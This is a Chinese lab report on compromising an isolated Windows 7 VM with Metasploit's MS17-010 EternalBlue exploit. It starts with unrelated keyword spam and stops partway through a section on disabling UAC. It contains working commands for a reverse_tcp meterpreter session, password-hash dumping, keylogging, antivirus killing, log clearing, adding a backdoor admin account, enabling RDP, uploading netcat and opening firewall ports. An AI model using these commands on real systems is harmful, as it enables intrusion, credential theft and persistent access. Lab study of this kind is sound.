汕头免费建站哪里有,百度电脑怎么用wordpress,微信官网网站模板下载安装,河北大良网站建设基于MSF框架渗透攻击Win7主机系统的设计与实现 文章目录 基于MSF框架渗透攻击Win7主机系统的设计与实现[Warning] 写在前面1. 实验要求2. 实验环境搭建2.1 攻击机#xff08;Linux kali#xff09;的下载与安装2.2 靶机#xff08;Windows 7 Enterprise with Service Pack 1…基于MSF框架渗透攻击Win7主机系统的设计与实现 文章目录 基于MSF框架渗透攻击Win7主机系统的设计与实现[Warning] 写在前面1. 实验要求2. 实验环境搭建2.1 攻击机Linux kali的下载与安装2.2 靶机Windows 7 Enterprise with Service Pack 1 (x64)的下载与安装2.3 实验网络环境配置2.3.1 配置kali的网络配置2.3.2 配置Windows7 Enterprise SP1的网络配置2.3.3 查看靶机和攻击机之间的网络连通情况 3. 渗透提权阶段3.1 实验条件准备3.2 开始渗透提权3.2.1 端口扫描与主机发现3.2.2 进入MSF框架3.2.3 使用MS17-010扫描模块3号工具对靶机进行扫描3.2.4 使用MS17-010攻击模块0号工具对靶机进行提权 3.3 后渗透操作3.3.1 一些提权和非实验要求的后渗透尝试3.3.1.1 尝试使用getsystem实现提权操作3.3.1.2 使用sysinfo查看系统信息3.3.1.3 尝试使用ipconfig命令查看网络配置3.3.1.4 使用getuid查看我们当前所获得的权限3.3.1.5 使用shell获得shell控制台3.3.1.6 使用exit从shell控制台退出到meterpreter3.3.1.7 使用screenshot获取屏幕快照3.3.1.8 获取用户密码 3.3.2 正式的后渗透操作3.3.2.1 创建用户3.3.2.2 开启远程桌面并成功登录接管靶机桌面3.3.2.3 弹出信息框3.3.2.4 上传和执行可执行文件 4. 其他尝试4.1 解决拿到shell后的乱码问题4.2 监控桌面行为4.3 清除渗透痕迹 5. 反渗透反思6. 参考文献 [Warning] 写在前面
网络安全无小事本文章仅供网络安全相关专业的同学进行渗透测试相关的实验学习参考使用请大家遵守网络安全的相关要求不要使用网络安全相关的渗透工具对真实世界的用户群体进行包括网络渗透在内的任意网络攻击行为
1. 实验要求
本实验要求同学能够基于MSF框架设计与实现对Win7主机系统的渗透攻击。本实验要求同学在两台机子攻击机和靶机之间可以相互ping通并且靶机无补丁开启了445端口防火墙是关闭的实验条件下基于MS17-010漏洞使用MS17-010攻击模块对靶机成功入侵实现对靶机的最高权限提权使得我们可以远程在靶机上进行远程代码的执行得到靶机shell通过shell对靶机进行控制进行创建用户开启远程桌面并成功登录接管靶机桌面弹出信息框运行游戏脚本等操作。以下是一些对攻击机和靶机的详细要求 1 攻击机Linux kaliIP192.168.99.110 2 靶机Windows 7 Enterprise with Service Pack 1 (x64)IP192.168.99.119 2. 实验环境搭建
【小白需知】在下载这两个系统软件之前我们需要下载一个能够在自己的物理设备上运行这两个下载好的这两个系统软件的工具这时候就需要下载VMware Workstation详细的安装过程请参考以下博客VMware Workstation的下载和安装在进行实验之前我们首先要先下载好指定的系统工具我们需要下载kali攻击机同时我们也需要下载无补丁版本的靶机Windows 7 Enterprise with Service Pack 1 (x64)其中Enterprise表示该版本为企业版x64表示该系统支持64位的机器下载完系统软件之后我们需要将他们安装到我们本地的桌面虚拟计算机软件——VMware Workstation上并按照给定的要求进行网络环境的配置确保这两台虚拟设备能够相互进行网络通信。
2.1 攻击机Linux kali的下载与安装 去kali的官网选择 【Download】 由于我们本次实验是在我们个人的主机上进行安装所以我们选择安装在虚拟机上。 在虚拟机上进行安装我们需要的操作系统的方式有很多种可以选择使用ISO镜像文件来自定义安装也可以选择安装预安装好的系统这里本着创造一个更好复现的报告的初衷我们选择下载预安装的安装包来解压的形式选择该方法的原因是kali官网提供了这种方式也就说明对于其它打算复现该项目的同学按照我们的方案他的可复现性就会更稳定。 由于我们所使用的虚拟桌面软件是VMware Workstation所以我们选择下图中红框所框出的版本 【小白需知】 当你下载完成之后你会得到一个压缩包形式的文件如果你以前没有接触过压缩包文件不知道如何解压缩的话那这里我们推荐一款功能强大方便好用的压缩与解压缩工具Breezip 下载完毕之后使用计算机上的解压工具将下载的安装包解压 打开VMware Workstation选择打开虚拟机然后从我们刚才下载好的kali的压缩包并且解压好的路径中找到后缀为vmx的文件选择打开我们就可以得到一个kali虚拟机 打开后我们就可以看到这样的一个界面在这个界面中我们可以看到这个设备的基本配置同时也可以在官方已经给定的描述中看到当前的这台虚拟设备它的用户名和密码。 点击开启此虚拟机等待它进入到系统的登录界面我们输入用户名kali和密码kali就可以进入当前系统**自2020.1版本之后kali提供的虚拟机就是非root用户的策略所以这里我们使用的是它提供的标准用户kali而不是root登入进去后再修改即可** 使用su切换用户为root用户再使用passwd命令修改root用户的登录密码。
2.2 靶机Windows 7 Enterprise with Service Pack 1 (x64)的下载与安装
关于Windows 7 Enterprise with Service Pack 1 (x64)的下载搜集各种网站上的资源能找到的所有下载相关的资源都是和迅雷之类的P2P类型的下载工具相关的所以在下载Win7 SP1之前我们需要先安装迅雷。迅雷可以在各大软件应用商店找到可以直接在自己电脑预装的系统的应用商店搜索安装即可下面展示在联想的应用商店的下载安装图示 下载好迅雷之后我们就可以在这个网站进行Win7 SP1系统软件的下载了下载完成之后我们会得到一个ISO镜像文件 然后我们进入VMware Workstation进行新虚拟机的新建然后一路Next直到让你选择ISO光盘镜像文件的这一步选择我们刚下载的ISO文件进行安装 激活Windows产品需要产品密钥可以直接去网站上查找可用的密钥 对学习而言仅供学习使用。 这里需要设置以下我们Windows的全名大家设置自己喜欢的即可但是推荐使用英文。 然后需要选择我们的机器的存放位置这里推荐放在D盘大家可以选择自己合适的存放位置即可。 因为此处我们仅使用该机器作为靶机使用所以处理器的个数和处理器内核的个数都可以最小化。 同理内存设置为2G即可。 网络类型我们选择NAT模式。 选择I/O控制器的类型这里按推荐的来选择即可。 同理磁盘的类型我们也按推荐的来选择。 选择创建新磁盘 由于当前的系统仅作为靶机来使用所以我们最大的磁盘大小仅设置为20GB 指定磁盘文件按默认的即可。 核对信息无误后我们点击完成VMware Workstation就会自动帮我们开始进行系统的安装 下面是系统在安装的过程中的一次截图系统安装的过程可能会多次重启这个过程是自动的我们仅需静待系统的安装即可。 至此系统完成安装。完成安装之后我们需要进行一些简单的个性化设置比如调整显示的分辨率的大小比如把计算机等图片展示出来方便我们进一步的操作和使用。 如图所示我们安装的系统符合实验要求的系统版本
2.3 实验网络环境配置
根据实验要求我们可以了解到实验所要求的靶机和目标机的网络IP如下 1 攻击机Linux kaliIP192.168.99.110 2 靶机Windows 7 Enterprise with Service Pack 1 (x64)IP192.168.99.119 通过IP我们可以判断这两台机器处在同一个子网下于是我们采取这样的网络配置策略首先为了保证去潜在的可能的虚拟机上公网的需求我们选择使用NAT的方式来配置攻击机和靶机的网络配置这是两台虚拟机在安装的时候就选择的默认的网络配置方式打开VMware Workstation的虚拟网络配置器将其中的NAT模式所在的子网的网段设置为192.168.99.0 将DHCP的地址池设置到不包含实验要求的IP地址把实验要求的IP地址留给后续我们进行手动IP分配的使用可以使用另外需要额外注意NAT设置中的网关的IP的设置不要使用192.168.99.1因为.1一般要留给真实的主机上面供虚拟机进行NAT配置的8号虚拟网卡来作为该虚拟网卡的IP地址如果这两个IP冲突的话会导致一些不必要的异常情况。 配置真实主机上8号虚拟网卡的IP地址
2.3.1 配置kali的网络配置
启动kali的命令行使用ifconfig命令查看kali当前的网络配置情况 【补充设置】 由于kali在2020.1版本之后就不再提供root而是提供标准用户kali但是我们实际在做很多操作的时候都需要root级别的权限才能方便我们对系统进行配置所以这里进行了用户切换和root用户的密码的更改 使用sudo su命令进行强制的用户切换输入kali用户的密码后使用passwd root命令进行root用户的密码修改目前修改如下Usernameroot/ Password root 后续将都使用root用户进行登录 使用静态配置的方式来配置kali的IP为实验要求的网络IP
vim /etc/network/interfaces注 进入文件按i进入编辑模式编辑完成后按esc退出编辑模式然后按wq保存退出才生效
auto eth0
iface eth0 inet static
address 192.168.99.110
netmask 255.255.255.0
gateway 192.168.99.2在配置完后使用reboot命令重新启动kali 重启后我们再次使用ifconfig命令来查看kali的网络信息就可以发现此时的网络信息已经修改完成
2.3.2 配置Windows7 Enterprise SP1的网络配置
首先我们打开cmd命令行工具使用ipconfig工具查看当前的Win7主机的网络配置情况 打开Win7中的网络和共享中心点击更改适配器信息 选中本地网络右键选择属性进入网络信息的配置界面按照实验要求**IP192.168.99.119和我们前面设置的网关地址192.168.99.2**来配置好此处的网络设置。 使用ipconfig来测试网络配置是否更新成功
2.3.3 查看靶机和攻击机之间的网络连通情况
此处在Win7上成功Ping通自身、攻击机kali和自身的网关。 第一次尝试使用kali来pingWin7ping失败想到前面使用Win7pingkali可以成功于是我猜测问题可能出现在Win7这边这边可能开了防火墙导致kali无法ping通Win7而反之则成立。 进入Win7并关闭防火墙 再次在kali上尝试pingWin7 至此网络配置已经完全结束kali和Win7实现互联互通。
3. 渗透提权阶段
3.1 实验条件准备
在网络环境搭建中已经完成了攻击和靶机的IP地址的设置并且使得两台设备相互之前可以ping通所以这里关于这一部分就不再赘述。确保Win7主机开启了445端口 使用netstat -ano | findstr 445查找Win7主机是否开启了445端口 其中各个参数表示的含义如下 -a显示所有连接和侦听端口。-n以数字形式显示地址和端口号而不进行反向域名解析。-o显示拥有者 PID。 | 为管道符号相当于一个过滤器把左边的命令的结果作为右边的命令的输入 findstr 查找字符串子串这里是用来过滤带有445字样的数据从而实现对445端口的精准查找 确保Win7主机关闭了防火墙需从控制面板进入系统安全在进入Windows防火墙从打开或关闭Windows防火墙中将Win7的防火墙关闭。
3.2 开始渗透提权
3.2.1 端口扫描与主机发现
首先使用nmap进行ip端口扫描查看目标主机是否开放了445端口
nmap -T4 -A -v 192.168.99.119 | grep 445如图所示靶机确实开放了445号端口这说明我们确实存在使用ms17-010漏洞进行渗透提权的可能性。 【解释】 这条命令的含义如下 nmap -T4 -A -v 192.168.203.119 这部分命令使用 nmap 工具对 IP 地址为 192.168.203.119 的主机进行扫描。具体参数含义如下 -T4指定扫描速度为快速T4这意味着扫描将以较高的速度进行。 -A启用操作系统检测、版本检测、脚本扫描和跟踪路由等功能。-v启用详细的输出模式显示更多的扫描信息。 |这是管道符它将 nmap 命令的输出传递给下一个命令即 grep。grep “445”这部分命令使用 grep 工来过滤 nmap 命令的输出只显示包含字符串 “445” 的行。在这种情况下它将显示与端口 445 相关的信息例如是否开放或关闭等。 因此整个命令的含义是对指定 IP 地址的主机进行快速扫描并显示与端口 445 相关的信息。 3.2.2 进入MSF框架
使用msfconsole命令启动我们渗透操作的利器MSF框架 MSF框架每次启动的出场动画都不一样狠狠有网络黑客的风格爱了~因为我们本次渗透使用的是ms17-010漏洞所以这里我们使用search ms17-010来搜索ms17-010漏洞。 【解释】 这些工具是 Metasploit 框架中的模块用于利用 Windows SMB 协议中的 MS17-010 漏洞。以下是每个工具的解释 0. exploit/windows/smb/ms17_010_eternalblue永恒之蓝 发布日期2017-03-14可靠性average平均是否需要用户交互Yes需要描述这是一个利用模块用于执行 MS17-010 漏洞EternalBlue的攻击该漏洞是一个远程Windows内核池损坏漏洞。它可以用来在目标系统上执行任意代码。 1. exploit/windows/smb/ms17_010_psexec 发布日期2017-03-14可靠性normal正常是否需要用户交互Yes需要描述这个模块利用 MS17-010 漏洞的变种 EternalRomance、EternalSynergy 和 EternalChampion用于在远程Windows系统上执行代码。它模仿了 Windows 的 psexec 工具的行为。 2. auxiliary/admin/smb/ms17_010_command 发布日期2017-03-14可靠性normal正常是否需要用户交互No不需要描述这是一个辅助模块用于通过 MS17-010 漏洞EternalRomance、EternalSynergy 和 EternalChampion在远程Windows系统上执行命令。 3. auxiliary/scanner/smb/smb_ms17_010 可靠性normal正常是否需要用户交互No不需要描述这是一个扫描器模块用于检测目标系统是否易受 MS17-010 漏洞的影响即 SMB RCE远程代码执行漏洞。 4. exploit/windows/smb/smb_doublepulsar_rce 发布日期2017-04-14可靠性great高是否需要用户交互Yes需要描述这个模块利用 DOUBLEPULSAR 后门该后门是通过 EternalBlue 漏洞传播的。如果系统已经被 EternalBlue 漏洞感染并植入了 DOUBLEPULSAR 后门这个模块可以用来在受影响的系统上执行远程代码。 这些工具的可靠性等级如 average、normal、great指的是利用成功的可预测性和稳定性。用户交互Yes 或 No指的是是否需要用户在攻击过程中进行交互。这些工具都是针对同一漏洞的不同利用方式或检测手段。 我们本次渗透复现中主要使用到0号和3号工具。 3 auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块探测主机是否存在ms17-010漏洞。 0 exploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码一般两者配合使用前者先扫描若是显示有漏洞再进行攻击。 3.2.3 使用MS17-010扫描模块3号工具对靶机进行扫描
使用模块该模块不会直接在攻击机和靶机之间建立访问 他们只负责执行扫描嗅探指纹识别的相关功能以辅助渗透测试。
use auxiliary/scanner/smb/smb_ms17_010在使用之前我们得先查看一下使用这个工具需要一些什么样的条件或者说准备条件使用show options命令查看所需准备的条件。 Required栏中选项为yes的说明对应的Current Setting栏需要填写如RHOSTS设置攻击目标。 目前所需的option仅剩RHOSTS还没填写。 使用set rhosts 192.168.99.119命令设置RHOSTS 再次查看配置参数show options 确定所需的参数都已经填写正确执行扫描run 结果显示主机可能容易受到 MS17-010 的攻击
3.2.4 使用MS17-010攻击模块0号工具对靶机进行提权
用以下命令使用3号工具use exploit/windows/smb/ms17_010_eternalblue 这里的提示信息指出我们没有配置攻击载荷的信息所以默认指定了 reverse_tcp 这个攻击载荷其实这个载荷也是我们后面实际使用的攻击载荷。 【解释】reverse_tcp 是一种常见的网络通信术语特别是在网络安全和渗透测试领域。它指的是一种反向TCP连接通常用于建立从目标系统到攻击者控制系统的连接。在正常的TCP连接中客户端发起连接到服务器。而在 reverse_tcp 连接中服务器在这种情况下通常是攻击者的监听服务器等待目标系统受害者机器发起连接。这种技术常用于绕过防火墙或NAT设备因为目标系统主动发起连接到外部监听服务器而不是外部服务器尝试直接连接到可能受到更严格监控的内部网络。在渗透测试工具**如 Metasploit中reverse_tcp 通常作为有效载荷payload的一部分用于在成功利用漏洞后建立反向shell**。这允许攻击者远程控制系统执行命令或者进一步探索网络。我们可以使用info查看漏洞的信息这些信息很长他们详细介绍了0号工具这个对MS17-010漏洞进行利用的攻击模块的各种重要信息。其中第一页的信息包含了这个工具的基本介绍、可以攻击的目标系统等信息当然可攻击的目标的信息可以使用show targets命令来查看。 这一页主要包含了0号工具的basic options表该表应该可以使用show options命令来获得。 这一页这是对这个0号工具的一些描述信息介绍。使用show targets命令显示该攻击模块针对哪些特定操作系统版本、语言版本的系统。 这里有很多个有些其他的漏洞模块对操作系统的语言和版本要求的很严比如MS08_067这样就要我们指定目标系统的版本的。如果不设置的话MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码成功渗透目标后用于在目标系统上运行任意命令。使用show payloads命令可以查看当下漏洞利用模块下可用的所有Payload 设置攻击载荷 set payload windows/x64/meterpreter/reverse_tcp 使用show options查看参数信息 从上图可以看出我们还没有设置好攻击的目标RHOSTS 设置攻击目标 set rhosts 192.168.99.119 (如果有多个攻击目标ip间直接用空格隔开就行) 设置监听主机kali[当然从上图也可以知道其实默认就是kali] set LHOST 192.168.99.110 使用exploit命令执行攻击 至此已经成功渗透成功在这里可以进行文件上传下载获取截屏获取密码使用摄像头拍照后门持久化等操作。
3.3 后渗透操作
运行了exploit命令之后我们开启了一个reverse TCP监听器来监听本地的 4444 端口即攻击者的本地主机地址LHOST和端口号LPORT。在meterpreter 中我们可以使用以下的命令来实现对目标的操作
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
hashdump #导出密码的哈希
load kiwi #加载
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid #查看当前Meterpreter Shell的进程
PIDmigrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库
clearev #清除日志3.3.1 一些提权和非实验要求的后渗透尝试
3.3.1.1 尝试使用getsystem实现提权操作 系统提示说我们现在其实已经完成了提权了说明在 渗透成功的一瞬间我们就实现了提权。为了验证我们使用pwd命令查看我们现在所在的路径是在哪里交互给出的信息是我们在C:\Windows\system32目录下这更进一步说明我们确实提权成功。
3.3.1.2 使用sysinfo查看系统信息 说明我们获取的是Win7靶机的权限。
3.3.1.3 尝试使用ipconfig命令查看网络配置 我们可以清晰得看到该信息中赫然出现了靶机的IP地址192.168.99.119再次说明我们确实提权成功我们正在使用的正是靶机的shell。
3.3.1.4 使用getuid查看我们当前所获得的权限 【解释】这个 “Server username: NT AUTHORITY\SYSTEM” 说明了当前正在运行的服务或进程是以系统权限System运行的。NT AUTHORITY\SYSTEM 是 Windows 系统中的一个内置账户拥有系统级别的权限通常用于运行操作系统服务和进程。以 NT AUTHORITY\SYSTEM 身份运行的服务或进程拥有对系统资源的完全访问权限包括文件、注册表、网络等。这种权限通常被认为是最高级别的权限因此需要谨慎对待以此身份运行的服务或进程以防止被恶意利用。 3.3.1.5 使用shell获得shell控制台 3.3.1.6 使用exit从shell控制台退出到meterpreter 3.3.1.7 使用screenshot获取屏幕快照 到截图路径查看屏幕快照 到Win7主机截图供对比 3.3.1.8 获取用户密码
run windows/gather/smart_hashdump 或者 hashdump 尝试hashdump命令获取用户密码 Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: luoqianshi:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 使用在线的转码平台解析获取到哈希值成为可以理解的密码解析的结果为空密码和我在安装Win7系统的时候的设定是一致的。 【解释】这些看起来像是从 Windows 系统的 SAM (Security Accounts Manager) 数据库中提取的用户账户信息。SAM 数据库存储了本地用户账户的密码哈希值。这些信息通常用于安全分析或密码恢复。 每一行代表一个用户账户的信息格式通常如下 用户名:用户ID:LM哈希:NTLM哈希::: 1. Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 用户名Administrator用户ID500Windows系统中的默认管理员账户IDLM哈希aad3b435b51404eeaad3b435b51404ee一个已知的空密码的LM哈希值NTLM哈希31d6cfe0d16ae931b73c59d7e0c089c0一个已知的空密码的NTLM哈希值 2. Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 用户名Guest用户ID501Windows系统中的默认访客账户IDLM哈希aad3b435b51404eeaad3b435b51404ee同上NTLM哈希31d6cfe0d16ae931b73c59d7e0c089c0同上 3. luoqianshi:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 用户名luoqianshi用户ID1000通常是第一个创建的非系统账户的IDLM哈希aad3b435b51404eeaad3b435b51404ee同上NTLM哈希31d6cfe0d16ae931b73c59d7e0c089c0同上 在这些例子中LM和NTLM哈希值都表示没有设置密码。LM哈希是较旧的密码哈希算法而NTLM哈希是较新的算法两者都用于Windows身份验证。这些哈希值通常用于密码破解尝试以恢复或破解用户的密码。LM哈希LAN Manager hash是一种在早期Windows网络中用于存储用户密码的哈希函数。由于其设计上的缺陷它被认为是不安全的已经在现代Windows系统中被淘汰。 LM哈希的主要缺点包括 不区分大小写在进行哈希之前所有密码都转换为大写这减少了密码的复杂性。固定长度LM哈希将密码截断或填充至14个字符进一步降低了密码的复杂性。分割处理14个字符的密码被分成两个7字符的块每块单独哈希这使得对每个块的破解更加容易。弱加密算法使用的DES算法容易受到暴力破解攻击。 因为这些缺陷LM哈希很容易被破解现代Windows系统默认不再使用LM哈希而是使用更安全的NTLM哈希。 NTLMNT LAN Manager是一种在 Windows 网络环境中使用的身份验证协议。它最初是为了在局域网环境中提供身份验证和会话安全而设计的。NTLM 协议通过挑战-响应机制来验证用户的身份并在用户和服务器之间建立安全的会话。NTLM 协议的工作流程包括三个主要步骤 客户端向服务器发送身份验证请求。服务器生成一个随机数挑战发送给客户端。客户端使用用户的凭据和挑战生成一个响应并发送给服务器进行验证。 尽管 NTLM 协议在过去被广泛使用但它已经被更安全的协议如 Kerberos 和 NTLMv2 所取代。NTLM 协议存在一些安全性方面的缺陷包括容易受到中间人攻击和密码哈希被盗取的风险。总的来说尽管 NTLM 协议在某些环境中仍在使用但出于安全考虑推荐使用更现代和安全的身份验证协议。 3.3.2 正式的后渗透操作
本课程设计要求我们在利用MS17-010漏洞成功渗透入Win7系统后获取shell后要进行包括创建用户开启远程桌面并成功登录接管靶机桌面弹出信息框和运行游戏脚本这四项指定的后渗透阶段的操作接下来我将逐一演示。
3.3.2.1 创建用户
进入shell控制台shell 在目标主机上创建一个名为hack的用户密码为hello_world net user hack hello_world /add 将hack用户加入到windows 7的本地管理员组中实现权限提升 net localgroup administrators hack /add 查看本地用户net user 查看本地管理员net localgroup administrators 从上图可以知我们新创建的hack用户已经加入到了管理员组中了。打开Win7中一看我们确实也发现在计算机的管理中可以看到hack赫然出现在管理组组中
3.3.2.2 开启远程桌面并成功登录接管靶机桌面
使用以下的命令或者脚本开启远程桌面 run getgui -e 已废弃 尝试开始远程桌面-1失败
run post/windows/manage/enable_rdp 在kali终端输入以下命令实现开始远程桌面以下是没有注意到应该在kali终端下执行远程桌面的错误尝试 rdesktop 192.168.99.119 #靶机ip地址 说明我的kali可能 没有安装rdesktop这个工具 不是这个问题 尝试先退出渗透工作先安装工具 sudo apt update sudo apt install rdesktop 但是这里又显示我的kali已经完成了对rdesktop工具的安装了说明不是这个问题。 【以下是正解】 仔细查找资料之后发现执行远程桌面操作的命令不应该在渗透的shell下执行而应该在kali的终端下执行才是合理的 回到kali终端下进行远程桌面连接成功 使用我们创建的hack用户登录 远程桌面登录成功接管靶机桌面
3.3.2.3 弹出信息框
方法一使用vbs脚本可以使用以下命令启动一个弹框echo XMsgbox(lkh has got the shell,64,FormatDateTime(Now, vbLongDate)) /Test.vbs start C:\Test.vbs以下是kali视角 kali在提权后用vbs写弹框脚本并执行Win7上收到了消息 点击查看消息 Win7上成功弹出vbs信息框 【命令解释】 echo XMsgbox(lkh has got the shell,64,FormatDateTime(Now, vbLongDate)) /Test.vbs start C:\Test.vbs 这个命令是一个Windows命令提示符cmd命令它执行了两个操作 1.echo XMsgbox(“lkh has got the shell”,64,FormatDateTime(Now, vbLongDate)) /Test.vbs 这部分命令使用 echo 命令将一行文本写入一个名为 Test.vbs 的文件。这行文本是一个VBScript代码它会在弹出一个消息框显示 “lkh has got the shell” 文本并且消息框的样式是信息图标标题是当前的日期。 XMsgbox(“lkh has got the shell”,64,FormatDateTime(Now, vbLongDate))这是 VBScript 代码它定义了一个变量 X并将其设置为 Msgbox 函数的返回值。Msgbox 是一个函数用于在用户界面显示一个消息框。“lkh has got the shell” 是消息框中显示的文本。64 是一个参数定义了消息框的样式和图标。在这种情况下64 表示消息框将显示一个信息图标。FormatDateTime(Now, vbLongDate) 是一个函数调用它获取当前的日期和时间Now并将其格式化为长日期格式vbLongDate。这将作为消息框的标题。 2. start C:\Test.vbs 这部分命令使用 运算符它表示在前一个命令成功执行后才执行下一个命令。在这里如果第一个命令成功地将VBScript代码写入 Test.vbs 文件那么接下来的命令 start C:\Test.vbs 将会启动 Test.vbs 脚本从而弹出消息框。 总的来说这个命令的目的是创建一个VBScript文件然后立即运行这个文件以弹出一个消息框显示特定的文本和当前的日期。 方法二使用js脚本echo var shell new ActiveXObject(WScript.Shell); shell.Popup(Hello, World!, 0, Title, 0); info.js cscript info.jskali在提权后用js写弹框脚本并执行 Win7上再次收到了消息 再次点击查看消息 【代码解释】 echo var shell new ActiveXObject(WScript.Shell); shell.Popup(Hello, World!, 0, Title, 0); info.js cscript info.js 这段命令是一个Windows命令提示符cmd命令它执行了两个操作 1.echo var shell new ActiveXObject(“WScript.Shell”); shell.Popup(“Hello, World!”, 0, “Title”, 0); info.js 这部分命令使用 echo 命令将一行文本写入一个名为 info.js 的文件。这行文本是一个JavaScript代码它会在弹出一个消息框显示 “Hello, World!” 文本标题为 “Title”。 var shell new ActiveXObject(“WScript.Shell”);这是创建一个名为 shell 的变量并使用 ActiveXObject 对象来实例化 WScript.Shell。WScript.Shell 对象允许你执行系统命令、读写注册表、创建快捷方式等操作。shell.Popup(“Hello, World!”, 0, “Title”, 0);这是调用 WScript.Shell 对象的 Popup 方法它会在屏幕上弹出一个消息框。具体来说它会显示 “Hello, World!” 文本标题为 “Title”样式为普通信息框 2. cscript info.js 这部分命令使用 运算符它表示在前一个命令成功执行后才执行下一个命令。在这里如果第一个命令成功地将JavaScript代码写入 info.js 文件那么接下来的命令 cscript info.js 将会运行 info.js 脚本从而弹出消息框。 总的来说这个命令的目的是创建一个JavaScript文件然后立即运行这个文件以弹出一个消息框显示特定的文本和标题。 两种不同的方法的一些细节上的区别
echo XMsgbox(lkh has got the shell,64,FormatDateTime(Now, vbLongDate)) /Test.vbs start C:\Test.vbsecho var shell new ActiveXObject(WScript.Shell); shell.Popup(Hello, World!, 0, Title, 0); info.js cscript info.js首先他们之间必然存在了vbs脚本和js脚本之间的潜在实现方式的区别但是除了这一部分之外其实还潜藏着一些有趣的区别。一、vbs中使用的路径是带“/”号的所以生成的文件会出现在靶机的系统文件夹下而js的则不会这样就更为隐蔽。二、 用于创建或覆盖文件而 用于追加内容到文件末尾所以如果多次执行vbs脚本Text.vbs脚本的文件中会出现多条vbs弹窗的命令。
3.3.2.4 上传和执行可执行文件 题目的原意是让我们上传并且运行一个游戏脚本但是我转念一想游戏脚本的含义得建立在针对游戏的基础上才有意义而显然崭新的靶机并没有什么太有价值的游戏值得使用脚本所以我对这个实验要求进行了进一步的抽象所谓【运行游戏脚本】那本质其实就是首先攻击机要有一个脚本然后攻击机可以把准备好的脚本上传到靶机上去并且最终实现成功在靶机上运行这个脚本的目的。 可转念一想如果只是在靶机上运行脚本的话其实我们的上一步使得靶机可以弹出消息框的操作中使用的正是vbs脚本和js脚本了某种意义上也算是成功地在靶机上完成了脚本文件的注入和运行了那实验不就到此结束了吗不我不想结束。 仔细回顾了我们本次实验的目的和一路走来在web安全的那些基础的实验中所进行的渗透或者注入操作其中都有上传木马建立后门使得我们能够使用进一步掌握靶机权限的步骤所以最后我决定那我们就致敬经典尝试把Windows靶机的木马文件上传上去试试给自己留一条更稳定的后门。 在kali的 /usr/share/windows-binaries/ 路径下有我们的后门程序 nc俗称瑞士军刀 我们可以将它上传到目标机c盘上面。 使用upload /usr/share/windows-binaries/nc.exe C:\\Windows命令上传nc瑞士军刀。 不过要能够正常且安全地使用我们的后门软件我们还需要做一些隐蔽的操作我们得先关闭主机的防护策略再开启后门。 关闭主机的防护策略 使用hashdump命令查看用户和密码 Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: hack:1001:aad3b435b51404eeaad3b435b51404ee:f4028299935700e0be0eba20d233404d::: luoqianshi:1000:aad3b435b51404eeaad3b435b51404ee:b3974a327a72f739e4b96e70277e23b8::: 创建一条防火墙规则允许4444端口访问网络方便后期操作
shell
netsh firewall add portopening TCP 4444 hack ENABLE ALL【解释】 这个命令是用于在 Windows 防火墙中添加一个 TCP 端口的规则。以下是每个部分的解释 netsh firewall add portopening这部分表示使用 netsh 命令来操作防火墙add portopening 表示要添加一个端口开放规则。TCP这是要开放的端口的协议类型这里是 TCP 协议。4444这是要开放的端口号这个命令将会开放 TCP 端口 4444。“hack”这是规则的名称可以用任何描述性的名称来标识这个规则。ENABLE这表示要启用这个规则。ALL这表示这个规则适用于所有网络连接类型例如域、专用和公用网络。 总的来说这个命令的目的是在 Windows 防火墙中添加一个允许 TCP 端口 4444 的规则允许所有类型的网络连接。请注意使用此命令需要管理员权限。 新建一个防火墙规则允许443端口访问网络 netsh firewall add portopening TCP 443 hack ENABLE ALL 关闭UACUACUser Account Control 是Windows操作系统中的一种安全特性旨在提高系统安全性。它通过提示用户确认或提升权限来限制标准用户对系统关键功能和设置的访问。当某个应用程序需要进行需要管理员权限的操作时UAC会弹出一个对话框要求用户确认或提供管理员凭据。这有助于防止恶意软件未经用户许可就进行系统级别的更改从而提高了系统的安全性。UAC的目标是减少以管理员权限运行应用程序所带来的潜在风险同时保护用户不受未经授权的系统更改的影响。
